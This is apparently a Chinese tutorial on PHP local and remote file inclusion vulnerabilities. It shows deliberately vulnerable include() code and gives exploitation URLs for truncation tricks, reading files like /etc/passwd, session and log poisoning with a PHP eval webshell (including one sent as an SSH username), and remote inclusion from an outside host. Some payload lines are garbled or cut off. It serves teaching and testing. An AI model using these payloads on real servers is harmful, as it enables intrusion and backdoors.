文件包含漏洞
文件包含函数的参数没有经过过滤或者没有严格的定义,并且参数可以被用户控制,这样就可能会包含非预期的文件。如果被包含的文件中存在恶意代码,无论文件是什么类型,文件中的恶意代码就会被解析执行。 文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门。
常见的文件包含函数
一个文件可以通过文件包含函数加载另一个文件,提高开发效率 1.include() 包含并运行指定的文件,运行出错会产生警告(E-WARNING),脚本继续执行 2.include_include_once() 脚本执行期间包含并运行指定的文件。它与include 的区别:使用该函数时,PHP会检查指定文件是否已经被包含过,如果是,就不会再次包含 3.require() 包含并运行指定文件,出错时产生(E_COMPILE_ERROR)级别错误,脚本中止运行 4.require_once() 与require() 相同,区别:使用该函数时,PHP会检查指定文件是否已经被包含过,如果是,就不会再次包含
一段简单的漏洞代码
<?php
$filename=$_GET['filename'];
include($filename);
?>
无限制本地文件包含
代码没有为包含文件指定特定的前缀或者.php .html等拓展名,攻击者可以读取操作系统的其他文件,获取敏感信息,执行恶意代码 敏感文件 1.windows
c:\boot.ini 系统版本信息
c:\xxx\php.ini PHP配置
c:\xxx\my.ini MySQL配置
c:\xxx\httpd.conf apache配置
2.Linux
/etx/passwd linux账号
/etc/httpd/conf/httpd.conf apache配置
/etc/my.conf MySQL配置
/usr/etc/php.ini PHP配置
利用
可以配合文件上传漏洞
http://xxxxxxxxx?file=图片马路径
有限制的文件包含
代码中为包含文件指定了特定的前缀或者.php .html 等拓展名,攻击者需要绕过前缀或者拓展名过滤,才能读取执行其他文件。常见的绕过方式:%00截断,路径长度截断,点号截断。
%00 截断
条件: 1.magic_quotes_gpc=off 2.PHP版本低于5.3.4
简单漏洞代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
进行漏洞利用
http://xxxxxxxx.php?filename=./././././././././././boot.ini%00
利用%00截断.html的拓展名,读取到boot.ini的内容
路径长度截断文件包含
操作系统存在最大路径长度的限制,可以输入超过最大路径长度的目录,系统就会将多余的路径丢弃,实现截断。 1.条件 Windows下的文件最大路径长度为256B Linux下的最大文件路径长度为4096B 2.简单漏洞代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
http://xxxxxxxx.php?filename=test.txt/./././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/./././././././././././././././././././././././././././././././././././././././././/./././././././././././././/././././././
成功截断.html的后缀名
点号截断文件包含
适用于Windows 系统,点号长度大于256B 时造成文件截断
简单漏洞代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
http://xxxxxxxx.php?filename=test.txt................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
可以实现截断
Session文件包含
当可以获取session文件的路径并且session的文件内容可控时,就可以通过包含session文件进行攻击 。
利用条件: 1.session的存储位置可以获取 2.session内容可控
session存储位置的获取 1.phpinfo信息 session.save_path保存session的存储位置 2.根据默认位置进行猜测 linux中默认在/var/lib/php/session 漏洞代码
<?php
session_start();
$name=$_GET['name'];
$session['username']=$name;
?>
漏洞分析 1.参数值通过GET 传入session 中 2.找到session的存储位置/var/lib/php/session 3.当访问http://xxxxxxx.php?name=name ,会在/var/lib/php/session 中将name 传递给session 4.session 的文件名以sess_ 开头,后跟Sessionid ,Sessionid 可以有开发者模式获取 PHPSESSID:"95tt859t7dqdbansnjb0ejk8h2" session 的文件名为sess_95tt859t7dqdbansnjb0ejk8h2 在服务器下的/var/lib/php/session 查看这个文件
漏洞利用 1.name传入的值会存储到session文件中 2.将恶意代码写入session 中,通过文件包含来执行恶意代码
http:
将恶意代码传入session
http:
文件包含来执行代码
日志文件包含
服务器的中间件,ssh等服务都有记录日志的功能。如果开启记录日志的功能,用户访问的日志就会存储到不同服务的相关文件中 。如果日志文件的位置是默认位置或者可以获得,就可以通过访问日志将恶意代码写入日志文件中,再通过文件包含漏洞执行恶意代码,进而控制服务器。典型的日志文件包含:中间件日志包含 SSH日志包含 中间件日志文件包含 1.将恶意代码写入日志文件 例如Linux下的apache日志文件路径/var/log/httpd/access_log 日志文件会记录IP,访问时间,访问路径,状态码等。可以利用记录访问路径的功能将恶意代码写入。
http://xxx.xxx.xxx.xxx/<?php @eval($_POST['webshell']); ?>
经过了URL编码 抓包修改一下即可 然后进行文件包含,执行恶意代码
http://xxx.xxx.xxx.xxx/xxx.php?filename=../../../../../../../../../../../var/log/httpd/access_log
SSH日志文件包含 漏洞利用条件 : 1.SSH日志路径已知 2.有可读权限
Ubuntu下的默认路径/var/log/auth.log
将恶意代码写入 SSH服务如果开启了日志记录功能,会将ssh的连接日志记录到SSH日志文件。将连接的用户名设置为恶意代码
ssh "<?php @eval(\$-POST['webshell']);?>"@127.0.0.1
查看日志文件 进行文件包含
http://xxx.xxx.xxx.xxx/xxx.php?filename=../../../../../../../../../../../var/log/auth.log
执行恶意代码
远程文件包含
无限制远程文件包含
包含的文件位置不在本地服务器,而是通过URL形式包含其他服务器的文件,执行其中代码
利用条件 1.allow_url_fopen=on 2.allow_url_include=on
漏洞代码
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
远端服务器上的b.txt 文件有<?php phpinfo();?> 文件包含
http://xxx.xxx.xxx.xxx.php?filename=http://aaa.aaa.aaa.aaa/b.txt
|